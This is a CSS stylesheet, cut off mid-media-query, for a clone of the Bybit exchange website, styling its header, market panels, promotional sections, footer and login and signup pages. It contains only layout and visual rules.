/* ===== Bybit clone ===== */
@font-face{
  font-family:Inter;
  src:url("../fonts/Inter-latin.woff2") format("woff2");
  font-weight:400 600;font-style:normal;font-display:swap;
  unicode-range:u+0020-007e,u+00a0-00ff,u+00ad,u+2013-2015,u+2018-201d,u+2026,u+20ac,u+20bd,u+20b4,u+20b8,u+20ab,u+20bf;
}
@font-face{
  font-family:Inter;
  src:url("../fonts/Inter-latin-ext.woff2") format("woff2");
  font-weight:400 600;font-style:normal;font-display:swap;
  unicode-range:u+0100-024f,u+1e??,u+2c60-2c7f;
}
:root{
  --black:#121214; --hdr:#17181E; --orange:#FF9C2E; --gold:#F7A600;
  --red:#F63649; --green:#06C167;
  --g1:#575B61; --g2:#81858C; --g3:#ADB1B8;
  --border:#E9EDF2; --bg2:#F5F7FA; --panel:#F6F8FA; --card:#E9ECF0;
  --hero-bg:#FCFCFC; --ph:#9DA3AB;
}
*{margin:0;padding:0;box-sizing:border-box}
html{-webkit-text-size-adjust:100%}
body{
  font-family:"Inter",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
  color:var(--black);background:#fff;font-size:16px;line-height:1.5;
  -webkit-font-smoothing:antialiased;
}
a{color:inherit;text-decoration:none}
button{font-family:inherit;border:0;background:none;cursor:pointer;color:inherit}
img{display:block;max-width:100%}
.wrap{width:1200px;max-width:calc(100% - 32px);margin:0 auto}
.orange{color:var(--orange)}
.ic10{width:10px;height:10px;display:inline-block;vertical-align:middle}
.ic12{width:12px;height:12px;flex:none}
.ic13{width:13px;height:13px}
.ic14{width:14px;height:14px}
.ic16{width:16px;height:16px}
.ic18{width:18px;height:18px}
.ic20{width:20px;height:20px}
.ic22{width:22px;height:22px}
.ic24{width:24px;height:24px}
.ic26{width:26px;height:26px;border-radius:50%}
.ic30{width:30px;height:30px;border-radius:50%}
.ic34{width:34px;height:34px;display:block}
.flame{font-style:normal}
.chg-d{color:var(--red)}
.chg-c{color:var(--green)}

/* buttons */
.btn-pill-orange{
  display:inline-flex;align-items:center;justify-content:center;
  background:var(--orange);color:var(--black);border-radius:999px;
  font-weight:600;
}
.btn-cta{
  display:flex;align-items:center;justify-content:center;
  height:40px;padding:0 48px;border-radius:999px;
  background:var(--orange);color:var(--black);
  font-size:16px;font-weight:600;
}

/* eyebrow */
.eyebrow{display:flex;align-items:center;justify-content:center;gap:12px}
.eyebrow i{width:3px;height:16px;background:var(--gold);border-radius:1px;flex:none}
.eyebrow span{font-size:16px;line-height:24px;font-weight:400;color:var(--black);white-space:nowrap}
.eyebrow-l{justify-content:flex-start}

/* headings */
.h2{font-size:40px;line-height:48px;font-weight:600;text-align:center;letter-spacing:normal}
.sec-sub{font-size:20px;line-height:28px;color:var(--black);text-align:center}

/* ============ HEADER ============ */
.hdr{position:sticky;top:0;z-index:100;background:var(--hdr);height:48px}
.hdr-in{display:flex;align-items:center;height:48px;padding:0 16px;gap:0}
.hdr-logo{flex:none;display:flex;align-items:center}
.hdr-logo img{width:60px;height:auto}
.hdr-nav{display:flex;align-items:center;gap:24px;margin-left:30px;flex:none}
.nav-i{display:inline-flex;align-items:center;gap:5px;font-size:14px;line-height:20px;color:#fff;white-space:nowrap}
.nav-i .ic10{color:#9FA3AB}
.nav-rwa{gap:6px}
.nav-rwa .ic16{flex:none}
.flame{font-size:13px}
.hdr-search{
  display:flex;align-items:center;gap:8px;height:30px;padding:0 12px;
  margin-left:26px;background:#2A2C33;border-radius:15px;color:#E9EDF2;flex:none;
}
.hdr-search span{font-size:12px;color:#E9EDF2}
.hdr-search-ic{width:15px;height:15px;border-radius:50%}
.hdr-right{display:flex;align-items:center;gap:16px;margin-left:auto;padding-right:8px}
.hdr-login{font-size:14px;color:#fff;text-decoration:underline;text-underline-offset:3px;text-decoration-thickness:1px;white-space:nowrap}
.hdr-signup{height:34px;padding:0 20px;font-size:14px}
.hdr-ico{display:flex;color:#fff;width:22px;height:22px;align-items:center;justify-content:center}
.hdr-mob{display:none;margin-left:auto;align-items:center;gap:14px}
.hdr-msearch,.hdr-mmenu{color:#fff;display:flex}
.hdr-msignup{height:34px;padding:0 16px;font-size:15px}

/* ============ MOBILE MENU ============ */
.mmenu{
  display:none;position:fixed;inset:0;z-index:200;background:var(--hdr);
  overflow-y:auto;padding:0 24px 39px;
}
.mmenu.open{display:flex;flex-direction:column}
.mmenu-top{display:flex;align-items:center;justify-content:flex-end;height:44px;flex:none}
.mmenu-x{color:#fff;display:flex;align-items:center;justify-content:center;width:34px;height:34px}
.mmenu-actions{display:flex;gap:11px;margin-top:18px;flex:none}
.mm-btn{flex:1;height:40px;border-radius:20px;display:flex;align-items:center;justify-content:center;font-size:14px;font-weight:600}
.mm-btn-ghost{border:1px solid #404347;color:#fff}
.mm-btn-orange{background:var(--orange);color:#000;flex:1.05}
.mmenu-nav{margin-top:16px;margin-bottom:4px;flex:none}
.mm-item{
  display:flex;align-items:center;justify-content:space-between;
  min-height:48px;color:#fff;font-size:14px;font-weight:600;cursor:pointer;
}
.mm-chev{color:#9FA3AB;transition:transform .2s}
.mm-parent.is-open{color:var(--orange)}
.mm-parent.is-open .mm-chev{transform:rotate(180deg);color:var(--orange)}
.mm-sub{display:none;padding-bottom:0}
.mm-sub.open{display:block}
.mm-sub a{display:flex;align-items:center;min-height:48px;padding-left:13px;font-size:14px;font-weight:400;color:#fff}
.mmenu-div{height:1px;background:#313237;margin:auto 0 0;flex:none}
.mm-lang{gap:12px;justify-content:flex-start;min-height:45px;flex:none}
.mm-lang .ic20{color:#fff}
.mm-lang .mm-chev{margin-left:auto}
.mm-dl{
  display:flex;align-items:center;justify-content:center;gap:12px;
  height:40px;margin-top:0;border:1px solid #313237;border-radius:20px;
  color:#fff;font-size:14px;font-weight:600;flex:none;
}

/* ============ HERO ============ */
.hero{background:var(--hero-bg);padding:27px 0 12px}
.hero-grid{display:grid;grid-template-columns:minmax(0,1fr) 600px;gap:86px;align-items:center}
.hero-l{min-width:0}
.hero-h1{font-size:46px;line-height:53px;font-weight:700;letter-spacing:-.01em;margin-top:15px}
.hero-sub{font-size:20px;line-height:28px;margin-top:19px}
.hero-form{
  display:flex;align-items:center;height:72px;margin-top:41px;
  background:var(--card);border-radius:999px;padding:0 10px 0 0;
}
.hero-form input{
  flex:1;min-width:0;height:100%;border:0;background:none;outline:none;
  padding-left:25px;font-size:16px;color:var(--black);font-family:inherit;
}
.hero-form input::placeholder{color:var(--ph)}
.hero-signup{
  display:inline-flex;align-items:center;gap:8px;flex:none;
  height:47px;padding:0 24px;border-radius:999px;
  background:var(--orange);color:var(--black);font-size:15px;font-weight:600;
}
.hero-or{display:flex;align-items:center;margin-top:24px;gap:0;line-height:21px}
.hero-or-t{font-size:16px}
.soc-circle{
  width:21px;height:21px;border-radius:50%;display:flex;align-items:center;justify-content:center;
  margin-left:28px;background:#fff;border:1px solid var(--border);
}
.soc-g .ic16{width:15px;height:15px}
.soc-a{background:#000;border-color:#000;color:#fff}
.soc-a .ic16{width:14px;height:14px}
.soc-t{background:#29ABE2;border-color:#29ABE2;color:#fff}
.soc-t .ic16{width:14px;height:14px}
.hero-dl{margin-left:48px;font-size:16px}
.hero-dl-qr{margin-left:10px;color:var(--black)}

/* hero panel */
.hero-panel{background:var(--panel);border-radius:20px;padding:18px;min-width:0}
.hp-top{display:grid;grid-template-columns:1fr 1fr;gap:18px}
.qcard{background:#fff;border-radius:16px;padding:20px 20px 17px}
.qcard-trending{min-height:252px;display:flex;flex-direction:column}
.qcard-title{display:flex;align-items:center;gap:8px;font-size:18px;line-height:22px;font-weight:700;margin-top:3px}
.trow{display:flex;align-items:center;gap:10px;margin-top:22px}
.trow-sym{font-size:15px;font-weight:600}
.trow-price{display:flex;align-items:flex-end;justify-content:space-between;margin-top:14px}
.big-price{font-size:26px;line-height:32px;font-weight:700;letter-spacing:-.01em}
.trow-price .chg{font-size:14px;font-weight:500;padding-bottom:3px}
.tchart{width:100%;height:71px;margin-top:14px;display:block}
.tmonths{display:flex;justify-content:space-between;margin-top:8px;font-size:11px;color:var(--g3);letter-spacing:.02em}
.qcard-tradfi{min-height:252px}
.tfrow{display:flex;align-items:center;gap:10px;margin-top:28px}
.qcard-title + .tfrow{margin-top:26px}
.tf-l{display:flex;flex-direction:column;min-width:0}
.tf-sym{font-size:14px;font-weight:600;line-height:18px}
.tf-sub{font-size:12px;color:var(--g2);line-height:16px}
.tf-r{margin-left:auto;display:flex;flex-direction:column;align-items:flex-end}
.tf-price{font-size:14px;font-weight:600;line-height:18px}
.tf-r .chg{font-size:12px;line-height:16px}

.qcard-hot{margin-top:16px;min-height:278px}
.hot-tabs{display:flex;align-items:flex-end;gap:20px;height:32px;position:relative}
.hot-tab{
  font-size:17px;line-height:22px;color:var(--g2);font-weight:400;
  height:32px;position:relative;
}
.hot-tab.is-active{color:var(--black);font-weight:700}
.hot-tab.is-active::after{
  content:"";position:absolute;left:0;right:0;bottom:0;height:3px;
  background:var(--orange);border-radius:2px;
}
.hot-viewall{margin-left:auto;font-size:13px;font-weight:500;align-self:center}
.hot-rows{margin-top:10px}
.hot-row{
  display:grid;grid-template-columns:26px 1fr 90px 60px;column-gap:6px;
  align-items:center;height:48px;
}
.hot-sym{font-size:14px;font-weight:600}
.hot-price{text-align:right;font-size:14px;font-weight:500}
.hot-row .chg{text-align:right;font-size:14px;font-weight:500}

/* mobile quotes */
.mquotes{display:none;grid-template-columns:1fr 1fr;gap:16px}
.mq{
  position:relative;background:#fff;border:1px solid var(--border);border-radius:16px;
  padding:14px 14px 16px;overflow:hidden;
}
.mq-tag{
  position:absolute;top:0;right:0;border-radius:0 0 0 8px;
  background:linear-gradient(135deg,#D6BC8F,#AE8B47);
  color:#fff;font-size:10px;font-weight:600;padding:4px 8px 4px 6px;
}
.mq-top{display:flex;align-items:center;gap:8px;font-size:13px;font-weight:600}
.mq-top .ic20{width:20px;height:20px;border-radius:50%;flex:none}
.mq-bot{display:flex;align-items:center;justify-content:space-between;margin-top:12px}
.mq-price{font-size:14px;font-weight:600}
.mq-bot .chg{font-size:12px;font-weight:600}

/* ============ STATS ============ */
.stats{padding:19px 0 1px}
.stats-row{display:grid;grid-template-columns:repeat(4,1fr)}
.stat{display:flex;flex-direction:column;align-items:center;text-align:center;padding:8px 0 0}
.stat+.stat{border-left:1px solid var(--border)}
.stat-v{font-size:36px;line-height:40px;font-weight:700;letter-spacing:-.01em}
.stat-l{font-size:14px;line-height:20px;color:var(--g1);margin-top:11px}

/* ============ HUB ============ */
.hub{padding:48px 0 0;background:#fff}
.hub-in{display:flex;flex-direction:column;align-items:center;gap:24px}
.hub-head{display:flex;flex-direction:column;align-items:center;gap:8px;text-align:center}
.hub-head .sec-sub{margin-top:0}
.hub-cta{align-self:center;margin-top:3px;height:48px;border-radius:24px;padding:0 24px;font-size:16px;font-weight:600;gap:6px}
.hub-cta svg{flex:none}
.hub-track{width:100%;--pin-distance:120vh;height:calc(100vh - 48px + var(--pin-distance))}
.hub-viewport{position:sticky;top:48px;height:calc(100vh - 48px);width:100%;overflow:hidden}
.hub-grid{
  --grid-offset:0px;--outer-column-offset:0px;
  display:flex;gap:24px;width:100%;align-items:center;
  transform:translate3d(0,var(--grid-offset),0);
}
.hcol{flex:1;min-width:0;display:flex;flex-direction:column;gap:24px}
.hcol-outer{transform:translate3d(0,var(--outer-column-offset),0);will-change:transform}
.hcard{
  position:relative;background:#F0F0F0;border-radius:16px;overflow:hidden;cursor:pointer;
  height:480px;display:flex;flex-direction:column;text-align:center;
  transition:transform .2s ease,box-shadow .2s ease;
}
.hcard:hover{transform:translateY(-2px);box-shadow:0 8px 24px rgba(0,0,0,.08)}
.hcard-nolink{cursor:default}
.hcard-nolink:hover{transform:none;box-shadow:none}
.hcard-cc{padding:32px;display:flex;flex-direction:column;align-items:center;gap:12px;z-index:1}
.hcard-title{font-size:24px;line-height:32px;font-weight:600;color:#000;margin:0;text-align:center;white-space:pre-line}
.hcard-big{font-size:64px;line-height:72px;font-weight:600;color:#000}
.hcard-arrow{
  width:32px;height:32px;border-radius:50%;background:var(--orange);color:#121214;
  display:flex;align-items:center;justify-content:center;flex:none;transition:background-color .2s;
}
.hcard:hover .hcard-arrow{background:#FFC35C}
.hcard-arrow svg{width:14px;height:14px;display:block}
.hcard-img{position:absolute;left:50%;bottom:0;transform:translateX(-50%);width:auto;height:auto;max-width:100%;object-fit:contain;object-position:center bottom;flex:none}
.hcard-img-center{width:275px;height:275px;object-fit:contain;position:static;transform:none;margin:auto auto 0;left:auto;bottom:auto}
.hcard-img-trade{height:242px}
.hcard-img-card{height:228px}
.hcard-img-earn{height:244px}
.hcard-full{position:absolute;inset:0;width:100%;height:100%;object-fit:cover;object-position:center top}
.float-panel{
  position:absolute;bottom:24px;left:24px;right:24px;padding:12px 16px;border-radius:8px;
  border:1px solid hsla(0,0%,100%,.5);background:hsla(0,0%,100%,.1);
  backdrop-filter:blur(10px);-webkit-backdrop-filter:blur(10px);
  display:flex;flex-direction:column;gap:8px;z-index:1;
}
.fp-row{display:flex;align-items:center;justify-content:space-between}
.fp-l{color:#fff;font-size:12px;font-weight:400;line-height:18px}
.fp-v{color:#fff;font-size:12px;font-weight:400;line-height:18px}
.fp-lg{font-size:24px;font-weight:600;line-height:32px}
.fp-vg{color:#00FF85;font-size:24px;font-weight:600;line-height:32px}
.hub-mcards{display:none}
@media (prefers-reduced-motion:reduce){
  .hub-track{height:auto}
  .hub-viewport{position:static;height:auto;overflow:visible}
  .hub-grid,.hcol-outer{transform:none}
}

/* ============ CARD SECTION ============ */
.cardsec{
  height:786px;margin-top:96px;
  background:#fff url("../img/card-b-en.png") no-repeat;background-size:100% 100%;
  display:flex;align-items:center;justify-content:center;overflow:hidden;
}
.cardsec-in{flex:0 0 auto;display:flex;flex-direction:row;align-items:center;gap:92px}
.cardsec-left{flex-shrink:0;display:flex;flex-direction:column;align-items:flex-start}
.cardsec .eyebrow{justify-content:flex-start;gap:11.25px}
.cardsec .eyebrow i{width:3.75px;height:19.375px;border-radius:0}
.cardsec .eyebrow span{font-size:20px;line-height:28px;font-weight:400;color:#000}
.cardsec-h2{font-size:40px;line-height:48px;font-weight:600;letter-spacing:normal;color:#000;margin-top:40px}
.cardsec-sub{margin-top:12px;font-size:20px;line-height:28px;color:#000;text-align:left}
.cstats{display:flex;align-items:center;gap:40px;margin-top:40px}
.cstat{display:flex;flex-direction:column;gap:5px}
.cstat:last-child{width:140px;flex:none}
.cstat .stat-v{font-size:32px;line-height:40px;font-weight:600;letter-spacing:normal;color:#000}
.cstat .stat-l{margin-top:0;font-size:16px;line-height:24px;color:#7f838a}
.cdiv{width:1px;height:58px;background:#81858c;flex:none}
.cardsec-cta{margin-top:40px;align-self:flex-start;height:48px;padding:0 28px;border-radius:24px;font-size:16px}
.cardsec-visual{display:none}

/* ============ EARN ============ */
.earn{padding:80px 0 90px}
.earn-sub{margin-top:12px}
.earn-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:16px;margin-top:40px}
.ecard{
  background:url("../img/earn-bg.png") center/cover no-repeat,#EDEDED;
  border-radius:16px;padding:20px;min-height:357px;
  display:flex;flex-direction:column;justify-content:space-between;
}
.ec-top{display:flex;align-items:flex-start;justify-content:space-between}
.ecard-label span{font-size:15px;font-weight:600}
.ec-coin{width:108px;height:108px;object-fit:contain;margin-top:-4px;flex:none}
.ec-tag{
  display:inline-block;align-self:flex-start;background:rgba(255,156,46,.14);
  color:#E08A16;font-size:12px;font-weight:600;padding:4px 8px;border-radius:6px;margin-bottom:12px;
}
.ec-apy{display:flex;align-items:center;gap:8px}
.ec-apy-v{font-size:26px;font-weight:700;letter-spacing:-.01em}
.ec-apy-u{font-size:14px;color:var(--g1)}
.ec-arrow{
  margin-left:auto;width:26px;height:26px;border-radius:50%;background:var(--orange);
  color:#fff;display:flex;align-items:center;justify-content:center;flex:none;
}
.ec-desc{font-size:13px;line-height:19px;color:var(--g1);margin-top:12px}
.earn-cta{margin:32px auto 0;display:flex;width:fit-content;padding:0 44px;height:47px}

/* ============ DOWNLOAD ============ */
.dlsec{padding:90px 0;background:#fff url("../img/dl-bg2.png") center/cover no-repeat}
.dlsec-in{display:grid;grid-template-columns:minmax(0,1fr) auto;gap:60px;align-items:center}
.dl-h2{text-align:left}
.dl-sub{margin-top:16px;text-align:left}
.dl-card{
  background:#fff;border-radius:16px;padding:24px;display:flex;gap:24px;
  box-shadow:0 8px 32px rgba(18,18,20,.06);
}
.dl-qr{width:155px;height:155px;flex:none;align-self:center}
.dl-r{display:flex;flex-direction:column}
.dl-rate{display:flex;align-items:center;gap:16px}
.dl-rate-v{font-size:44px;line-height:48px;font-weight:700;letter-spacing:-.02em}
.dl-stars{display:flex;gap:3px;color:var(--gold)}
.dl-rate-l{font-size:11px;letter-spacing:.08em;color:var(--g2);font-weight:600;margin-top:6px;white-space:nowrap}
.dl-badges{display:flex;gap:10px;margin-top:14px}
.dl-badges img{height:40px;width:auto}
.dl-caps{margin-top:14px}
.dl-cap1{font-size:16px;font-weight:700}
.dl-cap2{font-size:13px;color:var(--g2);margin-top:3px}

/* half star */
.st-half{position:relative;display:inline-block;width:18px;height:18px}
.st-half svg{position:absolute;top:0;left:0;color:#E1E4E8}
.st-half .st-gold{color:var(--gold);clip-path:inset(0 50% 0 0)}

/* ============ FOOTER ============ */
.ftr{background:#fff;padding:56px 0 32px;border-top:1px solid #F2F3F5}
.ftr-in{display:grid;grid-template-columns:256px 308px 268px 294px auto}
.ftr-logo{width:156px;height:auto}
.ftr-soc{display:grid;grid-template-columns:repeat(4,34px);gap:6px;margin-top:22px}
.ftr-col{display:flex;flex-direction:column}
.ftr-h{font-size:17px;font-weight:700;margin-bottom:14px}
.ftr-col a{font-size:14px;line-height:38px;color:var(--g1)}
.ftr-col a:hover{color:var(--black)}
.ftr-bot{
  display:flex;align-items:center;justify-content:center;gap:24px;
  margin-top:44px;font-size:13px;color:var(--g2);
}

/* ============ FLOATING ============ */
.floats{position:fixed;right:24px;bottom:26px;z-index:320;display:flex;flex-direction:column;gap:12px}
.float-btn{
  width:44px;height:44px;border-radius:50%;background:#F4F6F8;border:none;
  box-shadow:0 3px 10px rgba(18,18,20,.14);display:flex;align-items:center;justify-content:center;
  color:#000;
}
.floats-orange{bottom:25px}
.floats-orange .float-btn{background:#F7A600;color:#000;box-shadow:none}

/* ============ COOKIE ============ */
.cookie{
  position:fixed;left:0;right:0;bottom:0;z-index:300;background:#17181E;
  display:flex;align-items:center;justify-content:center;gap:25px;padding:11px 24px;
}
.cookie p{font-size:13px;line-height:20px;color:#C9CBD1;width:985px;max-width:100%;white-space:nowrap;letter-spacing:-0.025em}
.cookie a{color:var(--orange);text-decoration:none}
.cookie-btn{
  flex:none;height:31px;padding:0 12px;border-radius:999px;margin-right:88px;
  background:var(--orange);color:var(--black);font-size:13px;font-weight:600;
}
.cookie.hide{display:none}

/* ============ AUTH PAGES ============ */
.auth{display:grid;grid-template-columns:50% 50%;min-height:100vh}
.auth-left{
  background:linear-gradient(180deg,#FAFAFA 0px,#F6F6F6 60px,#EDEDED 200px,#E0E0E0 400px,#D3D3D3 600px,#C8C8C8 760px,#BFBFBF 777px,#B3B3B3 954px);
  padding:0;display:flex;flex-direction:column;overflow:hidden;min-width:0;
}
.auth-h1{margin:68px 0 0 48px;font-size:35px;line-height:41px;font-weight:600;max-width:310px}
.auth-illu{margin:-77px 0 -116px;display:flex;justify-content:center}
.auth-illu img{height:809px;width:auto;max-width:none}
.auth-stats{margin-top:10px;height:125px;background:#BBBBBB;display:flex;flex:none}
.auth-stat{padding-top:26px;position:relative}
.auth-stat:nth-child(1){width:349px;padding-left:61px}
.auth-stat:nth-child(2){width:290px;padding-left:42px}
.auth-stat:nth-child(3){padding-left:41px}
.auth-stat+.auth-stat::before{content:"";position:absolute;left:0;top:22px;bottom:22px;width:1px;background:#A8A8A8}
.auth-stat-v{font-size:38px;line-height:40px;font-weight:700;color:#000}
.auth-stat-l{font-size:19px;line-height:24px;color:#555;margin-top:13px}
.auth-right{position:relative;padding-top:184px;background:var(--bg2)}
.auth-wrap{width:437px;max-width:100%;margin:0 auto}
.auth-top{display:flex;align-items:flex-start;justify-content:center;position:relative;height:24px}
.auth-logo{width:79px;margin-top:-4px}
.auth-globe{position:absolute;right:-1px;top:-2px;color:var(--black);display:flex}
.auth-card{width:100%;margin-top:21px;background:#fff;border-radius:16px;padding:17px 24px 76px}
.auth-card.login-card{padding-bottom:19px}
.login-card .auth-card-h h1{font-size:19.5px}
.login-card .auth-link{top:-2px}
.auth-card-h{display:flex;align-items:center;justify-content:space-between;gap:16px}
.auth-card-h h1{font-size:18.5px;line-height:28px;font-weight:600;color:#000}
.auth-link{color:var(--orange);font-size:14px;font-weight:600;white-space:nowrap;letter-spacing:0.3px;position:relative;top:-3px}
.auth-label{display:block;font-size:14px;line-height:20px;font-weight:400;margin:42px 0 0}
.auth-select{
  display:flex;align-items:center;gap:5px;height:44px;margin-top:10px;padding:0 8px 0 18px;
  background:#F3F5F7;border:0;border-radius:6px;cursor:pointer;
}
.auth-flag{
  width:30px;height:30px;border-radius:50%;background:#DDE1E6;display:flex;align-items:center;
  justify-content:center;flex:none;overflow:hidden;font-size:22px;line-height:1;
}
.auth-select-name{font-size:15px;position:relative;top:2px}
.auth-loc{margin-left:auto;display:flex;align-items:center;gap:2px;color:var(--g1);font-size:13px}
.auth-loc .ic14{width:12px;height:12px}
.auth-check{display:flex;gap:3px;margin-top:21px;align-items:flex-start}
.auth-cb{
  width:17px;height:17px;border-radius:4px;background:var(--orange);flex:none;margin-top:3px;
  display:flex;align-items:center;justify-content:center;color:#fff;
}
.auth-cb .ic14{width:11px;height:11px}
.auth-check p{font-size:11.5px;line-height:18px;color:var(--g1);flex:1}
.auth-check a{color:var(--orange)}
.auth-btn{
  width:100%;height:48px;margin-top:19px;border-radius:24px;background:var(--orange);
  color:#000;font-size:16px;font-weight:600;display:flex;align-items:center;justify-content:center;gap:8px;
}
.auth-tabs{display:flex;gap:18px;margin-top:45px}
.auth-tab{
  font-size:14px;line-height:20px;font-weight:500;color:#7F838A;padding:0 0 3px;position:relative;
}
.auth-tab.is-active{color:#000;font-weight:500}
.auth-tab.is-active::after{content:"";position:absolute;left:0;right:0;bottom:0;height:2px;background:var(--orange)}
.auth-panel{margin-top:20px}
.auth-panel[hidden]{display:none}
.auth-input{
  width:100%;height:48px;border:0;background:#F3F5F7;
  border-radius:6px;padding:4px 17px 0;font-size:15.5px;font-family:inherit;color:#000;outline:none;
}
.auth-input::placeholder{color:#7F838A}
.auth-phone{display:flex;gap:10px}
.auth-phone .auth-select{width:120px;flex:none;background:var(--bg2)}
.auth-phone .auth-input{flex:1 1 auto;width:auto;min-width:0}
.auth-next{width:100%;height:48px;margin-top:36px;border-radius:24px;background:var(--orange);color:#000;font-size:16px;font-weight:600}
.auth-passkey{
  width:100%;height:48px;margin-top:20px;border-radius:24px;background:#fff;
  border:1px solid #D5DAE0;font-size:13px;font-weight:500;color:#000;
}
.auth-or{display:block;text-align:center;margin-top:20px;color:#7F838A;font-size:13.5px;line-height:16px}
.auth-social{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:17px;margin-top:17px}
.auth-sbtn{
  height:48px;border-radius:24px;background:#fff;border:1px solid #D5DAE0;
  display:flex;align-items:center;justify-content:center;gap:4px;font-size:13px;font-weight:500;color:#000;
  min-width:0;padding:0 6px;white-space:nowrap;overflow:hidden;
}
.auth-sbtn .ic20{width:16px;height:16px}
.auth-div{height:1px;background:#F3F5F7;margin:48px -24px 0}
.auth-sub{display:block;text-align:center;color:var(--orange);font-size:14px;font-weight:600;margin-top:23px}
.auth-qrwrap{display:flex;flex-direction:column;align-items:center;gap:12px;padding:8px 0}
.auth-qrwrap img{width:190px;height:190px}
.auth-qrwrap p{font-size:13px;color:var(--g2)}

/* ============ AUTH + FIREBASE ============ */
.auth-label.auth-label-sm{margin-top:24px}
.auth-label+.auth-input{margin-top:10px}
.auth-err{display:none;margin-top:12px;padding:10px 13px;border-radius:6px;background:#FDECEA;color:#C0392B;font-size:12.5px;line-height:18px}
.auth-err.show{display:block}
.auth-back{display:inline-flex;align-items:center;gap:4px;background:none;border:0;padding:0;margin-bottom:8px;color:var(--g1);font-family:inherit;font-size:13px;font-weight:500;cursor:pointer}
.auth-back:hover{color:#000}
.auth-pw-email{font-size:13.5px;line-height:18px;font-weight:600;color:#000;margin-bottom:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.auth-check{cursor:pointer}
.auth-cb.is-off{background:#D5DAE0}
.auth-cb.is-off .ic14{display:none}
.auth-btn[disabled],.auth-next[disabled]{opacity:.55;pointer-events:none}
.hdr-user{display:flex;align-items:center;gap:12px}
.hdr-user[hidden]{display:none}
.hdr-user-email{color:#fff;font-size:13px;max-width:180px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.hdr-logout{background:none;border:0;padding:0;font-family:inherit;font-size:14px;color:#fff;text-decoration:underline;text-underline-offset:3px;text-decoration-thickness:1px;cursor:pointer;white-space:nowrap}
#hdrMLogout[hidden]{display:none}

/* ============ RESPONSIVE ============ */
@media (max-width:1279px){
  .cookie p{width:auto;max-width:100%;flex:1;white-space:normal}
}
@media (min-width:1024px) and (max-width:1279px){
  .auth-stat:nth-child(1){width:50%;padding-left:8%}
  .auth-stat:nth-child(2){width:30%;padding-left:7%}
  .auth-stat:nth-child(3){padding-left:7%}
  .auth-stat-v{font-size:32px;line-height:36px}
  .auth-stat-l{font-size:16px}
}
@media (max-width:1150px){
  .hero-grid{grid-template-columns:minmax(0,1fr) 460px;gap:40px}
  .hero-h1{font-size:40px;line-height:47px}
  .hdr-nav{gap:16px;margin-left:20px}
  .hdr-search{display:none}
  .ftr-in{grid-template-columns:220px 1fr 1fr 1fr 1fr;gap:16px}
  .dlsec-in{gap:32px}
}
@media (max-width:1023px){
  .hdr-nav,.hdr-search,.hdr-right{display:none}
  .hdr-mob{display:flex}
  .hero{padding:24px 0 32px}
  .hero-grid{grid-template-columns:1fr;gap:0}
  .hero-l{text-align:center}
  .eyebrow{justify-content:center}
  .hero-h1{font-size:30px;line-height:41px;margin-top:20px}
  .hero-sub{font-size:15px;line-height:22px;margin-top:14px}
  .hero-form{height:56px;margin-top:24px;padding:0 6px 0 0}
  .hero-form input{padding-left:18px;font-size:15px}
  .hero-signup{height:44px;padding:0 18px;font-size:15px}
  .hero-or{justify-content:center;flex-wrap:wrap;gap:0 0;margin-top:20px}
  .hero-or-t{font-size:15px}
  .soc-circle{margin-left:18px;width:28px;height:28px}
  .hero-dl{margin-left:28px;font-size:15px}
  .hero-panel{display:none}
  .mquotes{display:grid;margin-top:26px}

  .stats{padding:19px 0 16px}
  .stats-row{grid-template-columns:1fr 1fr}
  .stat{padding:16px 8px}
  .stat+.stat{border-left:0}
  .stat:nth-child(odd){border-right:1px solid var(--border)}
  .stat:nth-child(-n+2){border-bottom:1px solid var(--border)}
  .stat-v{font-size:22px;line-height:26px}
  .stat-l{font-size:12px;line-height:16px;margin-top:6px}

  .hub{padding:20px 0 40px}
  .h2{font-size:24px;line-height:32px;font-weight:600}
  .sec-sub{font-size:14px;line-height:22px}
  .hub-head{padding:0 20px}
  .hub-track{display:none}
  .hub-mcards{
    display:flex;order:2;gap:12px;width:calc(100% + 32px);margin:0 -16px;padding:0 20px;
    overflow-x:auto;scroll-snap-type:x mandatory;scroll-padding-left:20px;
    -webkit-overflow-scrolling:touch;-ms-overflow-style:none;scrollbar-width:none;
  }
  .hub-mcards::-webkit-scrollbar{display:none}
  .hcard-m{
    flex:none;width:254px;height:320px;background:#E9ECF0;scroll-snap-align:start;
  }
  .hcard-m .hcard-cc{padding:24px 20px;gap:8px}
  .hcard-m .hcard-title{font-size:16px;line-height:24px}
  .hcard-m .hcard-big{font-size:32px;line-height:40px}
  .hcard-m .hcard-arrow{width:22px;height:22px}
  .hcard-m .hcard-arrow svg{width:12px;height:12px}
  .hcard-m .hcard-img,.hcard-m .hcard-img-center{
    position:absolute;left:50%;bottom:0;transform:translateX(-50%);
    height:160px;width:auto;max-width:100%;margin:0;
    object-fit:contain;object-position:center bottom;
  }
  .hub-cta{order:3;width:calc(100% - 40px);height:48px;margin-top:0;font-size:16px;padding:0;justify-content:center}
  .hub-head{order:1}

  .cardsec{height:auto;min-height:0;margin-top:0;padding:0;background:none;display:block;overflow:visible}
  .cardsec-in{width:100%;max-width:none;margin:0;flex-direction:column;gap:0;align-items:stretch}
  .cardsec-left{width:100%;padding:24px 20px 40px;align-items:stretch}
  .cardsec .eyebrow{gap:7.5px}
  .cardsec .eyebrow i{width:3px;height:15.5px}
  .cardsec .eyebrow span{font-size:20px;line-height:28px;font-weight:400}
  .cardsec-h2{font-size:24px;line-height:32px;margin-top:24px}
  .cardsec-sub{font-size:16px;line-height:24px;margin-top:12px}
  .cstats{margin-top:24px;gap:0;justify-content:space-between;width:100%;padding:0}
  .cstat .stat-v{font-size:20px;line-height:28px}
  .cstat .stat-l{font-size:14px;line-height:20px}
  .cardsec-cta{width:100%;height:48px;margin-top:24px;justify-content:center;padding:0}
  .cardsec-visual{display:block;order:-1;position:relative;width:100%;z-index:1}
  .cardsec-visual:after{
    content:"";position:absolute;left:0;right:0;bottom:0;height:50%;
    background:linear-gradient(180deg,rgba(255,255,255,0),#fff);pointer-events:none;z-index:2;
  }
  .cardsec-visual img{width:100%;height:auto;display:block}

  .earn{padding:60px 0}
  .earn-h2{font-size:26px;line-height:36px}
  .earn-grid{display:flex;gap:16px;overflow-x:auto;margin-top:24px;scroll-snap-type:x mandatory;-ms-overflow-style:none;scrollbar-width:none}
  .earn-grid::-webkit-scrollbar{display:none}
